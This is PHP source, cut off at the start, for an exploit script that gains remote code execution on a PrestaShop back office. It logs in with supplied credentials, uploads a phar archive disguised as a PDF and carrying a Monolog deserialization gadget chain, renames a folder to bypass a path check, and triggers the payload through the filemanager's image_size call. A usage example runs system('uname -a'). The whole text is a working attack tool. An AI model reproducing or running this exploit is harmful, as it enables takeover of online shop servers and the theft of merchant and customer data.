url = $url; $this->email = $email; $this->passwd = $passwd; $this->func = $func; $this->param = $param; } private function post($path, $data, $cookie) { $curl_handle = curl_init(); $options = array( CURLOPT_URL => $this->url . $path, CURLOPT_HEADER => true, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_COOKIE => $cookie ); curl_setopt_array($curl_handle, $options); $raw = curl_exec($curl_handle); curl_close($curl_handle); return $raw; } private function fetch_cookie($raw) { $header = "Set-Cookie: "; $cookie_header_start = strpos($raw, $header); $sliced_part = substr($raw, $cookie_header_start + strlen($header)); $cookie = substr($sliced_part, 0, strpos($sliced_part, ';')); return $cookie; } public function run() { // Login and get PrestaShop cookie $data = array( 'email' => $this->email, 'passwd' => $this->passwd, 'submitLogin' => '1', 'controller' => 'AdminLogin', 'ajax' => '1' ); $cookie = ""; $raw = $this->post('/', $data, $cookie); $prestashop_cookie = $this->fetch_cookie($raw); // Get FileManager cookie $data = array(); $cookie = $prestashop_cookie; $raw = $this->post('/filemanager/dialog.php', $data, $cookie); $filemanager_cookie = $this->fetch_cookie($raw); // Craft deserialization gadget $gadget = new \Monolog\Handler\SyslogUdpHandler( new \Monolog\Handler\BufferHandler( ['current', $this->func], [$this->param, 'level' => null] ) ); // Craft malicious phar file $phar = new \Phar('phar.phar'); $phar->startBuffering(); $phar->addFromString('test', 'test'); $phar->setStub(''); $phar->setMetadata($gadget); $phar->stopBuffering(); // Change the extension rename('phar.phar', 'phar.pdf'); // Cookie for next requests $cookie = "$prestashop_cookie; $filemanager_cookie"; // Upload phar.pdf $curl_file = new \CurlFile('phar.pdf', 'application/pdf', 'phar.pdf'); $data = array( 'file' => $curl_file ); $raw = $this->post('/filemanager/upload.php', $data, $cookie); // Rename image directory to bypass realpath() check $data = array( 'name' => 'renamed' ); $raw = $this->post( '/filemanager/execute.php?action=rename_folder', $data, $cookie ); // Trigger deserialization // The '/img/cms/' substring is important to bypass string check $data = array( 'path' => 'phar://../../img/renamed/phar.pdf/img/cms/' ); $raw = $this->post( '/filemanager/ajax_calls.php?action=image_size', $data, $cookie ); // Display the raw result print $raw; } } } /* * Based on * https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/ */ namespace Monolog\Handler { class SyslogUdpHandler { protected $socket; function __construct($param) { $this->socket = $param; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; protected $level = null; protected $initialized = true; protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace { if (count($argv) != 6) { $hint = "Usage:\n php $argv[0] back-office-url email password func param\n\n"; $hint .= "Example:\n php $argv[0] http://127.0.0.1/admin-dev/ "; $hint .= "salesman@shop.com 54l35m4n123 system 'uname -a'"; die($hint); } if (!extension_loaded('curl')) { die('Need php-curl'); } $url = $argv[1]; $email = $argv[2]; $passwd = $argv[3]; $func = $argv[4]; $param = $argv[5]; $exploit = new PrestaShopRCE\Exploit($url, $email, $passwd, $func, $param); $exploit->run(); }